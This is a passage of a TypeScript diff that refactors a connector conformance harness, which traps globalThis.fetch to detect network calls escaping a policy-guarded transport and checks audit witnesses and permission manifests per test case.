+ /** + * Calls that reached the harness-owned base transport, allowed or refused, + * counted when the case settles. + */ readonly transportCalls: number; /** * Witness events on this case's AuditLogger: recorded inside the invocation * window, carrying a decisionCode, and stamped with this case's SUBJECT as - * `resource` — a collaborator connector built on the same logger is not one - * (§3.10). + * `resource` — a collaborator connector built on the same logger is not one. */ readonly auditEvents: number; /** * This case's findings: the subset of report.findings whose `case` is this - * name. Case names are unique per run (§5.3), so the subset is well defined. + * name. Case names are unique per run, so the subset is well defined. */ readonly findings: readonly ConnectorConformanceFinding[]; } @@ -128,7 +139,7 @@ export interface ConnectorConformanceReport { readonly conformant: boolean; /** * Absent whenever no subject's posture was resolved; the run's findings say - * why. Assigned at step 6 (§5.4). + * why. */ readonly posture?: ConnectorEgressPosture; /** @@ -136,9 +147,9 @@ export interface ConnectorConformanceReport { * unless every entry's transaction completed: a failure at ANY entry rolls back * the whole stack, including the failing entry on a (d) write or (e) verification * failure; an (a) validation or descriptor-read failure precedes capture and push, - * so the stack holds only entries attempted before it, and step 14 never runs - * for either failure path (§5.4 steps 12-14). - * Labels are unique per run (§5.3). Empty when no case ran. + * so the stack holds only entries attempted before it, and neither failure + * path verifies the entry afterwards. + * Labels are unique per run. Empty when no case ran. */ readonly instrumented: readonly string[]; readonly cases: readonly ConnectorConformanceCaseResult[]; @@ -148,7 +159,7 @@ export interface ConnectorConformanceReport { * objects is on its ConnectorConformanceCaseResult. */ readonly findings: readonly ConnectorConformanceFinding[]; - /** The finite-case limitation this report does not exceed. The module constant, on every report a run produces, refusals included — `refuseRun` sets it too (§5.4 step 6, §5.2). */ + /** The finite-case limitation this report does not exceed. The module constant, on every report a run produces, refusals included — `refuseRun` sets it too. */ readonly limit: string; } @@ -206,29 +217,76 @@ export class ConnectorConformanceError extends Error { } export const CONFORMANCE_LIMIT = - 'conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits'; + 'conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits'; class ConformanceRefusal extends Error {} +/** The label of the harness-owned global fetch entry point. */ +const GLOBAL_FETCH_LABEL = 'globalThis.fetch'; +/** The base transport the harness hands the factory for its policies. */ +const POLICIES_FETCH_LABEL = 'policies.fetch'; + +/** Milliseconds a case runs before it is abandoned as never-settling. */ +const DEFAULT_CASE_TIMEOUT_MS = 2000; + +/** + * The run holding this module instance; undefined while it accepts one. This + * guard and `poisonedByCase` are scoped to this module instance, so a second + * copy of this module carries its own pair and neither sees the other's runs. + * The package's `.` and `./connector-sdk` entry points resolve to one copy; + * `scripts/packed-consumer-test.mjs` asserts that identity against the packed + * tarball. + */ let activeRun: symbol | undefined; -let isolatePoisoned = false; -let timedOutCase: string | undefined; - -const refuseRun = ( - findings: readonly ConnectorConformanceFinding[], - report?: ConnectorConformanceReport, -): never => { - throw new ConnectorConformanceError( - report ?? { - conformant: false, - instrumented: [], - cases: [], - findings, - limit: CONFORMANCE_LIMIT, - }, - ); +/** The case whose timeout poisoned this isolate; undefined while it accepts runs. */ +let poisonedByCase: string | undefined; + +/** Refuse before a report exists: the findings stand on a synthetic one. */ +const refuseRun = (findings: readonly ConnectorConformanceFinding[]): never => { + throw new ConnectorConformanceError({ + conformant: false, + instrumented: [], + cases: [], + findings, + limit: CONFORMANCE_LIMIT, + }); }; +/** Refuse with the report the run built, its findings and limit already on it. */ +const refuseReport = (report: ConnectorConformanceReport): never => { + throw new ConnectorConformanceError(report); +}; + +/** + * A destination that changes when the phase it belongs to ends. The transport + * and the traps a phase hands to connector code hold this object, so where a + * call arriving after that phase is recorded is a property of the object + * rather than of a variable every recorder has to consult. + */ +interface PhaseSink { + readonly record: (value: T) => void; + readonly close: () => void; +} + +function phaseSink( + open: (value: T) => void, + late: (value: T) => void, +): PhaseSink { + let closed = false; + return { + record: (value) => { + if (closed) { + late(value); + return; + } + open(value); + }, + close: () => { + closed = true; + }, + }; +} + interface TimerGlobals { setTimeout(handler: () => void, timeoutMs: number): unknown; clearTimeout(handle: unknown): void; @@ -245,6 +303,10 @@ interface UrlLike { type UrlConstructor = new (input: string) => UrlLike; +type TextEncoderConstructor = new () => { + encode(input: string): Uint8Array; +}; + function requireGlobal(name: string): T { const ctor = (globalThis as Record)[name]; if (typeof ctor !== 'function') { @@ -255,9 +317,14 @@ function requireGlobal(name: string): T { return ctor as T; } +/** + * The recorders take their host from here, and a record is what makes a refusal + * observable, so this answers `null` rather than throwing — including when the + * URL global the run required at its start is no longer a constructor. + */ function urlOf(input: unknown): UrlLike | null { - const UrlCtor = requireGlobal('URL'); try { + const UrlCtor = requireGlobal('URL'); if (typeof input === 'string') return new UrlCtor(input); if (typeof input !== 'object' || input === null) return null; const candidate = input as { href?: unknown; url?: unknown }; @@ -279,17 +346,14 @@ function hrefOf(input: unknown): string | null { function trap( entryPoint: string, - record: (attempt: ConnectorConformanceEscape) => void, + escapes: PhaseSink, ) { return (...args: readonly unknown[]): never => { - record({ entryPoint, host: hostOf(args[0]), refused: true }); + escapes.record({ entryPoint, host: hostOf(args[0]), refused: true }); throw new ConformanceRefusal(`connector reached ${entryPoint}`); }; } -const hostDeclared = (host: string, declared: readonly string[]): boolean => - egressDomainAllowed(host, declared); - function buildResponse( url: string, host: string, @@ -314,10 +378,7 @@ function buildResponse( json: async () => JSON.parse(body), text: async () => body, arrayBuffer: async () => { - const Encoder = - requireGlobal< - new () => { encode(input: string): Uint8Array } - >('TextEncoder'); + const Encoder = requireGlobal('TextEncoder'); return new Encoder().encode(body).buffer; }, }; @@ -335,7 +396,7 @@ function createCaseTransport( respond: | ((request: ConnectorConformanceRequest) => ConnectorConformanceResponse) | undefined, - record: (attempt: ConnectorConformanceEscape) => void, + escapes: PhaseSink, ): CaseTransport { let subject: object | undefined; let calls = 0; @@ -351,9 +412,13 @@ function createCaseTransport( url === null || host === null || declared === undefined || - !hostDeclared(host, declared) + !egressDomainAllowed(host, declared) ) { - record({ entryPoint: 'policies.fetch', host, refused: true }); + escapes.record({ + entryPoint: POLICIES_FETCH_LABEL, + host, + refused: true, + }); throw new ConformanceRefusal( 'connector called the supplied base transport directly', ); @@ -384,6 +449,9 @@ function validateOptions( isConnectorDecisionCode, 'must be a connector decision code', ); + // `connector-decision.ts` publishes the denial-code set through this + // `@internal` capture function's throw path and through no guard of its own, + // so a code it rejects is one this schema rejects. const denialCode = z.custom((value) => { try { captureConnectorDenialMetadata({ code: value }); @@ -471,7 +539,7 @@ function validateOptions( } names.add(c.name); }); - const labels = new Set(['globalThis.fetch', 'policies.fetch']); + const labels = new Set([GLOBAL_FETCH_LABEL, POLICIES_FETCH_LABEL]); result.data.entryPoints?.forEach((entry, index) => { if (labels.has(entry.label)) { throw new TypeError( @@ -484,17 +552,26 @@ function validateOptions( return result.data as ConnectorConformanceOptions; } -const MANIFEST_MEMBERS = [ - 'sideEffect', - 'egress', - 'idempotencyKey', - 'requiresApproval', - 'dryRun', - 'rateLimit', - 'background', - 'requiredPermissions', - 'egressEnforcement', -] as const; +/** + * Every member of `PermissionManifest`. The `Record` makes the list a + * compile-time obligation: a member the interface gains is a missing property + * here, and a name it does not have is an excess one. + */ +const MANIFEST_MEMBER_SET: Record = { + sideEffect: true, + egress: true, + idempotencyKey: true, + requiresApproval: true, + dryRun: true, + rateLimit: true, + background: true, + requiredPermissions: true, + egressEnforcement: true, +}; + +const MANIFEST_MEMBERS = Object.keys( + MANIFEST_MEMBER_SET, +) as (keyof PermissionManifest)[]; function manifestsMatch( claimed: PermissionManifest, @@ -533,13 +610,21 @@ function manifestsMatch( } interface CapturedEntry extends ConnectorConformanceEntryPoint { - assignmentRecorded: boolean; - readonly existed: boolean; readonly descriptor: PropertyDescriptor | undefined; readonly trap: ReturnType; readonly installedDescriptor: PropertyDescriptor; } +/** The outcome of one install attempt over a set of entry points. */ +interface InstalledEntries { + /** The installed entries, or undefined when the install failed and unwound. */ + readonly stack: readonly CapturedEntry[] | undefined; + /** Labels the subject assigned over the install; one finding per label. */ + readonly assigned: ReadonlySet; + /** Whether the entries this install put back matched their descriptors. */ + readonly restored: boolean; +} + type RecordFinding = (finding: ConnectorConformanceFinding) => void; const instrumentable = (d: PropertyDescriptor | undefined): boolean => @@ -562,6 +647,13 @@ function describeDescriptor(d: PropertyDescriptor | undefined): string { return `data property (writable: ${d.writable}, configurable: ${d.configurable})`; } +/** + * The vocabulary for a value a consumer's own code threw, where the message or + * the string form is the diagnostic: `FACTORY_FAILED` and the two + * instrumentation findings. A function is described by type instead, because + * its string form is its source text. `describeValue` is the other vocabulary, + * for a value the subject threw. + */ function errorMessage(error: unknown): string { try { if (error instanceof Error) { @@ -574,21 +666,41 @@ function errorMessage(error: unknown): string { ? error === null ? 'null' : 'a non-Error object' - : String(error); + : typeof error === 'function' + ? describeValue(error) + : String(error); } catch { return 'unreadable error'; } } +/** + * The connector owns `constructor.name`, so the reason carries it only when it + * is a plain identifier of at most 64 characters. Anything else joins the + * unavailable and unreadable names as `unknown`. + */ +const CONSTRUCTOR_NAME_PATTERN = /^[A-Za-z_$][A-Za-z0-9_$]{0,63}$/; + function errorConstructorName(value: unknown): string { try { const name = Object.getPrototypeOf(value)?.constructor?.name; - return typeof name === 'string' && name.length > 0 ? name : 'unknown'; + return typeof name === 'string' && CONSTRUCTOR_NAME_PATTERN.test(name) + ? name + : 'unknown'; } catch { return 'unknown'; } } +/** + * Which kind of failure a subject's thrown value is, for a value the harness + * does not own: each `instanceof` walks a prototype chain the connector can + * trap, so the whole classification sits inside one `try` and a value that + * cannot say what it is takes the `foreign` branch. Prefer this where the + * answer is a classification over several constructors; prefer `isInstanceOf` + * for a single constructor, and `readProperty` for one property of such a + * value. + */ function classifyInvocationError( value: unknown, ): 'boundary' | 'policy' | 'refusal' | 'foreign' { @@ -615,6 +727,11 @@ function invocationFailureReason(error: unknown): string { } } +/** + * The vocabulary for a value the SUBJECT threw or returned, where the type is + * the whole diagnostic: `CASE_INVOCATION_FAILED`, `SUBJECT_UNREGISTERED`, and + * the function arm of `errorMessage`. It copies no byte of the value. + */ function describeValue(value: unknown): string { if (value === undefined) return 'undefined'; if (value === null) return 'null'; @@ -622,13 +739,19 @@ function describeValue(value: unknown): string { } function unregisteredReason(value: unknown): string { - return `the factory returned ${describeValue(value)} that createConnector() did not build${ + return `the factory returned ${describeValue(value)} that this copy of createConnector() did not build${ typeof value === 'object' && value !== null ? ': a plain Mastra tool, or a connector from a second copy of the package' : '' }`; } +/** Calls after a replacement the harness knows the trap did not serve. */ +const CALLS_UNOBSERVED = '; calls made after the replacement were not observed'; +/** Calls after a replacement the harness did not determine either way. */ +const CALLS_UNCHECKED = + '; whether calls made after the replacement reached the trap was not checked'; + function verifyEntries( stack: readonly CapturedEntry[], record: RecordFinding, @@ -638,7 +761,10 @@ function verifyEntries( const { target, property, label, trap: installedTrap } = entry; let shape: string; let difference = 'descriptor differs from the one the harness installed'; - let callsUnobserved = false; + // Empty where the descriptor answers whether the trap kept serving calls, + // and the answer is yes. The other two answers are stated, so silence here + // never has to carry one of them. + let calls = ''; try { const descriptor = Object.getOwnPropertyDescriptor(target, property); shape = describeDescriptor(descriptor); @@ -646,10 +772,15 @@ function verifyEntries( const effective = (target as Record)[property]; if (effective === installedTrap) continue; difference = 'effective value differs from the installed trap'; - callsUnobserved = true; + calls = CALLS_UNOBSERVED; shape += ` resolving to ${describeValue(effective)}`; } else if (descriptor !== undefined && 'value' in descriptor) { - callsUnobserved = descriptor.value !== installedTrap; + if (descriptor.value !== installedTrap) calls = CALLS_UNOBSERVED; + } else if (descriptor !== undefined) { + // An accessor answers each read itself, so the descriptor says nothing + // about what a call after the replacement reached, and the harness does + // not invoke a consumer's getter to find out. + calls = CALLS_UNCHECKED; } } catch { difference = 'descriptor or effective value could not be verified'; @@ -658,7 +789,7 @@ function verifyEntries( intact = false; record({ code: 'INSTRUMENTATION_REPLACED', - reason: `${label} ${difference}: ${shape}${callsUnobserved ? '; calls made after the replacement were not observed' : ''}`, + reason: `${label} ${difference}: ${shape}${calls}`, }); } return intact; @@ -686,20 +817,18 @@ function holdsInstalledDescriptor( function restoreEntries( stack: readonly CapturedEntry[], record: RecordFinding, -): void { +): boolean { const failures: { label: string; error: unknown }[] = []; - for (const { target, property, existed, descriptor, label } of [ - ...stack, - ].reverse()) { + for (const { target, property, descriptor, label } of [...stack].reverse()) { try { - if (existed && descriptor !== undefined) { + if (descriptor !== undefined) { Object.defineProperty(target, property, descriptor); } else { delete (target as Record)[property]; } const back = Object.getOwnPropertyDescriptor(target, property); const same = - existed && descriptor !== undefined + descriptor !== undefined ? back !== undefined && 'value' in back && Object.is(back.value, descriptor.value) && @@ -725,17 +854,20 @@ function restoreEntries( // Diagnostics cannot interrupt restoration or the caller's timer cleanup. } } + return failures.length === 0; } function installEntries( entries: readonly ConnectorConformanceEntryPoint[], - recordEscape: (attempt: ConnectorConformanceEscape) => void, + escapes: PhaseSink, record: RecordFinding, - subject: 'case' | 'probe factory', -): CapturedEntry[] | undefined { + installer: 'case' | 'probe factory', +): InstalledEntries { const stack: CapturedEntry[] = []; + const assigned = new Set(); for (const entry of entries) { const { target, property, label } = entry; + const completed = stack.length; try { const descriptor = Object.getOwnPropertyDescriptor(target, property); if (!instrumentable(descriptor)) { @@ -749,17 +881,17 @@ function installEntries( throw new Error('inherited accessor'); } } - const replacement = trap(label, recordEscape); + const replacement = trap(label, escapes); const installedDescriptor: PropertyDescriptor = descriptor === undefined || descriptor.configurable === true ? { get: () => replacement, set: () => { - if (captured.assignmentRecorded) return; - captured.assignmentRecorded = true; + if (assigned.has(label)) return; + assigned.add(label); record({ code: 'INSTRUMENTATION_REPLACED', - reason: `the ${subject} assigned ${label} during execution; the assignment was not applied and the trap was kept`, + reason: `the ${installer} assigned ${label} during execution; the assignment was not applied and the trap was kept`, }); }, enumerable: descriptor?.enumerable ?? true, @@ -768,8 +900,6 @@ function installEntries( : { ...descriptor, value: replacement }; const captured = { ...entry, - assignmentRecorded: false, - existed: descriptor !== undefined, descriptor, trap: replacement, installedDescriptor, @@ -793,15 +923,16 @@ function installEntries( ); } } catch (error) { - restoreEntries(stack, record); + verifyEntries(stack.slice(0, completed), record); + const restored = restoreEntries(stack, record); record({ code: 'INSTRUMENTATION_UNSUPPORTED', reason: `assertConnectorConformance cannot instrument ${label}: ${errorMessage(error)}`, }); - return undefined; + return { stack: undefined, assigned, restored }; } } - return stack; + return { stack, assigned, restored: true }; } function raceTimeout( @@ -839,10 +970,161 @@ function escapeFinding( ): ConnectorConformanceFinding { return { code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', - reason: `connector reached ${attempt.entryPoint} outside runtime.fetch (host: ${attempt.host ?? 'unparseable'})`, + // A call on the supplied base transport went through the harness, not + // around it: what the transport refused is a host its registered egress + // declaration does not cover. A call on any other entry point reached an + // instrument the connector was not given, which is the bypass. + reason: + attempt.entryPoint === POLICIES_FETCH_LABEL + ? `connector reached ${attempt.entryPoint} for a host the registered egress declaration does not cover (host: ${attempt.host ?? 'unparseable'})` + : `connector reached ${attempt.entryPoint} outside runtime.fetch (host: ${attempt.host ?? 'unparseable'})`, + }; +} + +/** + * The same finding at run level, naming the phase that had already ended when + * it arrived. A finding recorded here belongs to no case: the case result it + * would have joined is already on the report. `settledCase` carries that case's + * name as a field beside the reason, for a caller reading the report by machine; + * the probe phase ends under no case name and passes none. + */ +function observedAfter( + finding: ConnectorConformanceFinding, + phase: string, + settledCase?: string, +): ConnectorConformanceFinding { + return { + ...finding, + ...(settledCase === undefined ? {} : { observedAfterCase: settledCase }), + reason: `${finding.reason}; observed after ${phase}`, }; } +/** + * A value a connector registry can hold as a key. `createConnector()` + * registers the tool it returns, so a value that cannot be a key is one no + * registry answers for. + */ +function registrySubject(value: unknown): object | undefined { + return (typeof value === 'object' && value !== null) || + typeof value === 'function' + ? (value as object) + : undefined; +} + +/** What a case proved, and the measurements the classification read. */ +interface CaseObservation { + readonly proved: ConnectorConformanceCaseResult['proved']; + readonly guardedHosts: readonly string[]; + readonly decisionCodes: readonly (ConnectorDecisionCode | undefined)[]; +} + +/** Everything an eligible case measured, as the classification reads it. */ +interface CaseEvidence { + readonly expect: ConnectorConformanceCase['expect']; + /** The registered egress declaration, read once for the run. */ + readonly declaredEgress: readonly string[]; + readonly escapes: readonly ConnectorConformanceEscape[]; + readonly auditEvents: readonly { + readonly event: AuditEvent; + readonly inWindow: boolean; + }[]; + readonly witnesses: readonly AuditEvent[]; + readonly transportCalls: number; + readonly transportHosts: readonly string[]; + /** Present when the invocation threw; the value is inside it. */ + readonly invocation: { readonly thrown: unknown } | undefined; +} + +/** + * Classify a case that was invoked, kept its instrumentation and settled in + * time. It reads measurements and records findings; it performs no I/O and + * holds no state between cases. + */ +function observeCase( + evidence: CaseEvidence, + record: RecordFinding, +): CaseObservation { + const guardedHosts = [...new Set(evidence.transportHosts)]; + const decisionCodes = evidence.auditEvents + .filter((e) => e.inWindow) + .map((e) => e.event.decisionCode); + // A value whose classification cannot be read is by definition none of the + // three known kinds, so it takes the foreign branch. + const invocationKind = classifyInvocationError(evidence.invocation?.thrown); + const boundaryError = invocationKind === 'boundary'; + if (evidence.invocation !== undefined && invocationKind === 'foreign') { + record({ + code: 'CASE_INVOCATION_FAILED', + reason: invocationFailureReason(evidence.invocation.thrown), + }); + } + const missingFetch = + evidence.transportCalls === 0 && + evidence.escapes.some( + (attempt) => + attempt.entryPoint === GLOBAL_FETCH_LABEL && + attempt.host !== null && + egressDomainAllowed(attempt.host, evidence.declaredEgress), + ); + const missingAudit = !boundaryError && evidence.witnesses.length === 0; + if (missingFetch || missingAudit) { + record({ + code: 'POLICIES_NOT_WIRED', + member: missingFetch ? (missingAudit ? 'both' : 'fetch') : 'audit', + reason: missingFetch + ? 'either the factory did not wire policies.fetch, or the connector called the ambient global directly for a host it declares; the escape record beside this finding is authoritative for the request itself.' + + (missingAudit + ? ' The subject recorded no audit witness on the supplied logger.' + : '') + : // A failed invocation is evidence the boundary was NOT reached, so + // the absent witness is what that failure left behind, not a wiring + // conclusion the run can draw. + evidence.invocation !== undefined + ? 'the invocation failed before the subject could record an audit witness on the supplied logger' + : 'the subject reached its gate boundary but recorded no audit witness on the supplied logger; wire policies.audit', + }); + } + if (boundaryError && evidence.witnesses.length === 0) { + record({ + code: 'CASE_EXPECTATION_UNMET', + reason: + "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test", + }); + return { proved: 'nothing', guardedHosts, decisionCodes }; + } + const proved = evidence.witnesses.some( + (event) => + event.decision === 'denied' && event.policyKind === 'egress-fetch', + ) + ? 'guarded-denial' + : evidence.witnesses.some( + (event) => + event.decision === 'denied' && event.policyKind !== 'egress-fetch', + ) + ? 'policy-denied' + : guardedHosts.length > 0 + ? 'guarded-request' + : 'no-network'; + const expected = evidence.expect; + const evidenceMatches = + expected.outcome === 'guarded-request' + ? expected.hosts.every((host) => + guardedHosts.some((actual) => egressDomainAllowed(actual, [host])), + ) + : expected.outcome === 'no-network' || + evidence.witnesses.some( + (event) => event.decisionCode === expected.code, + ); + if (proved !== expected.outcome || !evidenceMatches) { + record({ + code: 'CASE_EXPECTATION_UNMET', + reason: `case expected ${expected.outcome} but proved ${proved}, or its required hosts or code were not observed`, + }); + } + return { proved, guardedHosts, decisionCodes }; +} + export function createConformanceAssertion(collaborators: { connectorManifest: (tool: object) => PermissionManifest | undefined; connectorEgressPosture: (tool: object) => ConnectorEgressPosture | undefined; @@ -856,14 +1138,15 @@ export function createConformanceAssertion(collaborators: { collaborators; return async function assertConnectorConformance( factory: ConnectorConformanceFactory, - options: ConnectorConformanceOptions, + rawOptions: ConnectorConformanceOptions, ): Promise { - const normalized = validateOptions(options); + const normalized = validateOptions(rawOptions); requireGlobal('setTimeout'); requireGlobal('clearTimeout'); requireGlobal('URL'); + requireGlobal('TextEncoder'); const globalEntry = { - label: 'globalThis.fetch', + label: GLOBAL_FETCH_LABEL, target: globalThis, property: 'fetch', }; @@ -892,11 +1175,11 @@ export function createConformanceAssertion(collaborators: { }, ]); } - if (isolatePoisoned) { + if (poisonedByCase !== undefined) { refuseRun([ { code: 'ISOLATE_POISONED', - reason: `case '${timedOutCase}' timed out in this isolate; no further run is accepted`, + reason: `case '${poisonedByCase}' timed out in this isolate; no further run is accepted`, }, ]); } @@ -906,36 +1189,55 @@ export function createConformanceAssertion(collaborators: { const instrumented = new Set(); let posture: ConnectorEgressPosture | undefined; let runClosed = false; + const recordRun: RecordFinding = (finding) => { + // The run is closed and the report the caller holds is fixed, so this + // finding is recorded nowhere: CONFORMANCE_LIMIT covers a run for the + // duration of its own cases. + if (runClosed) return; + findings.push(finding); + }; + /** + * Close the run and take the findings its report delivers: the flag is + * set here, and what the report carries is a copy the recorders can no + * longer reach. + */ + const closeRun = (): readonly ConnectorConformanceFinding[] => { + runClosed = true; + return [...findings]; + }; try { - const recordRun: RecordFinding = (finding) => { - if (runClosed) return; - findings.push(finding); - }; - const recordProbeEscape = (attempt: ConnectorConformanceEscape) => { - recordRun(escapeFinding(attempt)); - }; - const probeStack = installEntries( + const probeEscapes = phaseSink( + (attempt) => { + recordRun(escapeFinding(attempt)); + }, + (attempt) => { + recordRun( + observedAfter(escapeFinding(attempt), 'the probe factory returned'), + ); + }, + ); + const probeInstall = installEntries( [globalEntry], - recordProbeEscape, + probeEscapes, recordRun, 'probe factory', ); - if (probeStack === undefined) { - runClosed = true; - return refuseRun(findings); - } - let probe!: Connector; + const probeStack = probeInstall.stack; + if (probeStack === undefined) return refuseRun(closeRun()); + let probe: unknown; + let factoryFailed = false; + let probeIntact = true; + let probeRestored = true; try { const probeTransport = createCaseTransport( connectorManifest, undefined, - recordProbeEscape, + probeEscapes, ); - const probeEvents: AuditEvent[] = []; const probeLogger = new AuditLogger({ - sink: (event) => { - probeEvents.push(event); - }, + // The probe reads no event. The sink is what makes the logger an + // exporting one, which a factory's own policies can require. + sink: () => {}, }); probe = factory({ policies: Object.freeze({ @@ -944,24 +1246,30 @@ export function createConformanceAssertion(collaborators: { }), }); } catch (error) { + factoryFailed = true; recordRun({ code: 'FACTORY_FAILED', reason: errorMessage(error) }); } finally { - verifyEntries(probeStack, recordRun); - restoreEntries(probeStack, recordRun); + probeIntact = verifyEntries(probeStack, recordRun); + probeRestored = restoreEntries(probeStack, recordRun); } + probeEscapes.close(); if ( - findings.some( - (f) => - f.code === 'FACTORY_FAILED' || - f.code === 'INSTRUMENTATION_REPLACED' || - f.code === 'INSTRUMENTATION_NOT_RESTORED', - ) + factoryFailed || + !probeIntact || + !probeRestored || + probeInstall.assigned.size > 0 ) { - runClosed = true; - return refuseRun(findings); + return refuseRun(closeRun()); } - posture = connectorEgressPosture(probe); - const probeManifest = connectorManifest(probe); + const probeSubject = registrySubject(probe); + posture = + probeSubject === undefined + ? undefined + : connectorEgressPosture(probeSubject); + const probeManifest = + probeSubject === undefined + ? undefined + : connectorManifest(probeSubject); if (posture === undefined || probeManifest === undefined) { recordRun({ code: 'SUBJECT_UNREGISTERED', @@ -974,13 +1282,18 @@ export function createConformanceAssertion(collaborators: { reason: 'the connector declares a declaration-only egress posture', }); } - if (!manifestsMatch(normalized.manifest, probeManifest)) { + // One read of the claimed manifest's members: a getter cannot answer + // one way for this comparison and another way afterwards. + const claimedManifest = { ...normalized.manifest }; + if (!manifestsMatch(claimedManifest, probeManifest)) { recordRun({ code: 'MANIFEST_MISMATCH', reason: 'the registered manifest differs from the claimed manifest', }); } if (posture === 'enforced') { + // The registered egress declaration, read once for the whole run. + const declaredEgress = probeManifest.egress ?? []; if (normalized.cases.length === 0) { recordRun({ code: 'NO_CASES', @@ -991,29 +1304,33 @@ export function createConformanceAssertion(collaborators: { let stopped = false; for (const [index, c] of normalized.cases.entries()) { const caseName = c.name; + const settled = `case '${caseName}' settled`; const escapes: ConnectorConformanceEscape[] = []; const caseFindings: ConnectorConformanceFinding[] = []; - const recordCase: RecordFinding = (finding) => { - const scoped = { ...finding, case: caseName }; - findings.push(scoped); - caseFindings.push(scoped); - }; - let caseSettled = false; - const recordEscape = (attempt: ConnectorConformanceEscape) => { - if (runClosed) return; - if (caseSettled) { - const finding = escapeFinding(attempt); - recordRun({ - ...finding, - reason: `${finding.reason}; observed after case '${caseName}' settled`, - }); - return; - } - escapes.push(attempt); - }; - const stack = installEntries( + const escapeSink = phaseSink( + (attempt) => { + escapes.push(attempt); + }, + (attempt) => { + recordRun( + observedAfter(escapeFinding(attempt), settled, caseName), + ); + }, + ); + const findingSink = phaseSink( + (finding) => { + const scoped = { ...finding, case: caseName }; + recordRun(scoped); + caseFindings.push(scoped); + }, + (finding) => { + recordRun(observedAfter(finding, settled, caseName)); + }, + ); + const recordCase: RecordFinding = findingSink.record; + const caseInstall = installEntries( entries, - recordEscape, + escapeSink, recordCase, 'case', ); @@ -1031,47 +1348,65 @@ export function createConformanceAssertion(collaborators: { let invoked = false; let timedOut = false; let instrumentationIntact = true; - let invocationError: unknown; - let invocationFailed = false; + let invocation: { readonly thrown: unknown } | undefined; + let restoredAfterCase = true; let timer: unknown; - if (stack !== undefined) { - for (const entry of stack) instrumented.add(entry.label); + const caseStack = caseInstall.stack; + if (caseStack !== undefined) { + for (const entry of caseStack) instrumented.add(entry.label); try { caseTransport = createCaseTransport( connectorManifest, c.respond, - recordEscape, + escapeSink, ); const caseLogger = new AuditLogger({ sink: (event) => { try { + // The witness set holds the harness's own copy of every + // event, never the object the connector still holds. caseAuditEvents.push({ event: { ...event }, inWindow }); - } catch {} + } catch { + // An event that cannot be copied leaves no witness, so + // the case reports absent wiring rather than accepting + // evidence the harness could not read. + } }, }); - let connector!: Connector; - let factoryReturned = false; + let produced: { readonly value: unknown } | undefined; try { - connector = factory({ - policies: Object.freeze({ - fetch: caseTransport.fetch, - audit: caseLogger, + produced = { + value: factory({ + policies: Object.freeze({ + fetch: caseTransport.fetch, + audit: caseLogger, + }), }), - }); - factoryReturned = true; + }; } catch (error) { recordCase({ code: 'FACTORY_FAILED', reason: errorMessage(error), }); } - if (factoryReturned) { - const casePosture = connectorEgressPosture(connector); - const caseManifest = connectorManifest(connector); - if (casePosture === undefined || caseManifest === undefined) { + if (produced !== undefined) { + const caseSubject = registrySubject(produced.value); + const casePosture = + caseSubject === undefined + ? undefined + : connectorEgressPosture(caseSubject); + const caseManifest = + caseSubject === undefined + ? undefined + : connectorManifest(caseSubject); + if ( + caseSubject === undefined || + casePosture === undefined || + caseManifest === undefined + ) { recordCase({ code: 'SUBJECT_UNREGISTERED', - reason: unregisteredReason(connector), + reason: unregisteredReason(produced.value), }); } else if (casePosture !== posture) { recordCase({ @@ -1085,6 +1420,9 @@ export function createConformanceAssertion(collaborators: { 'the case subject manifest differs from the probe', }); } else { + // The registry answered for this subject, so it is a + // connector createConnector() built. + const connector = caseSubject as Connector; caseTransport.bind(connector); subjectId = connector.id; invoked = true; @@ -1092,7 +1430,7 @@ export function createConformanceAssertion(collaborators: { inWindow = true; await raceTimeout( invokeConnector(connector, c.input, c.invocation), - c.timeoutMs ?? 2000, + c.timeoutMs ?? DEFAULT_CASE_TIMEOUT_MS, () => { timedOut = true; }, @@ -1104,20 +1442,18 @@ export function createConformanceAssertion(collaborators: { } } catch (error) { if (timedOut) { - isolatePoisoned = true; - timedOutCase = caseName; + poisonedByCase = caseName; recordCase({ code: 'CASE_TIMEOUT', - reason: `case '${caseName}' timed out after ${c.timeoutMs ?? 2000} ms`, + reason: `case '${caseName}' timed out after ${c.timeoutMs ?? DEFAULT_CASE_TIMEOUT_MS} ms`, }); } else { - invocationError = error; - invocationFailed = true; + invocation = { thrown: error }; } } finally { inWindow = false; - instrumentationIntact = verifyEntries(stack, recordCase); - restoreEntries(stack, recordCase); + instrumentationIntact = verifyEntries(caseStack, recordCase); + restoredAfterCase = restoreEntries(caseStack, recordCase); if (timer !== undefined) { try { globalTimers().clearTimeout(timer); @@ -1128,119 +1464,63 @@ export function createConformanceAssertion(collaborators: { } } const caseEscapes = [...escapes]; - caseSettled = true; + escapeSink.close(); for (const attempt of caseEscapes) recordCase(escapeFinding(attempt)); - if (!invoked && invocationFailed) { + if ( + !invoked && + invocation !== undefined && + // A refusal is the harness's own throw: the attempt behind it is + // already a NETWORK_IO_OUTSIDE_RUNTIME_FETCH finding, and the + // sentinel names a class no consumer can see. The invoked path + // excludes it through the same classification. + classifyInvocationError(invocation.thrown) !== 'refusal' + ) { recordCase({ code: 'CASE_INVOCATION_FAILED', - reason: invocationFailureReason(invocationError), + reason: invocationFailureReason(invocation.thrown), }); } const witnesses = caseAuditEvents .filter(isWitness) .map((e) => e.event); const transportCalls = caseTransport?.calls() ?? 0; - let proved: ConnectorConformanceCaseResult['proved'] = 'nothing'; - let guardedHosts: string[] = []; - let decisionCodes: (ConnectorDecisionCode | undefined)[] = []; - if (invoked && !timedOut && instrumentationIntact) { - guardedHosts = [...new Set(caseTransport?.hosts() ?? [])]; - decisionCodes = caseAuditEvents - .filter((e) => e.inWindow) - .map((e) => e.event.decisionCode); - // A value whose classification cannot be read is by definition - // none of the three known kinds, so it takes the foreign branch. - const invocationKind = classifyInvocationError(invocationError); - const boundaryError = invocationKind === 'boundary'; - if (invocationFailed && invocationKind === 'foreign') { - recordCase({ - code: 'CASE_INVOCATION_FAILED', - reason: invocationFailureReason(invocationError), - }); - } - const missingFetch = - transportCalls === 0 && - caseEscapes.some( - (attempt) => - attempt.entryPoint === 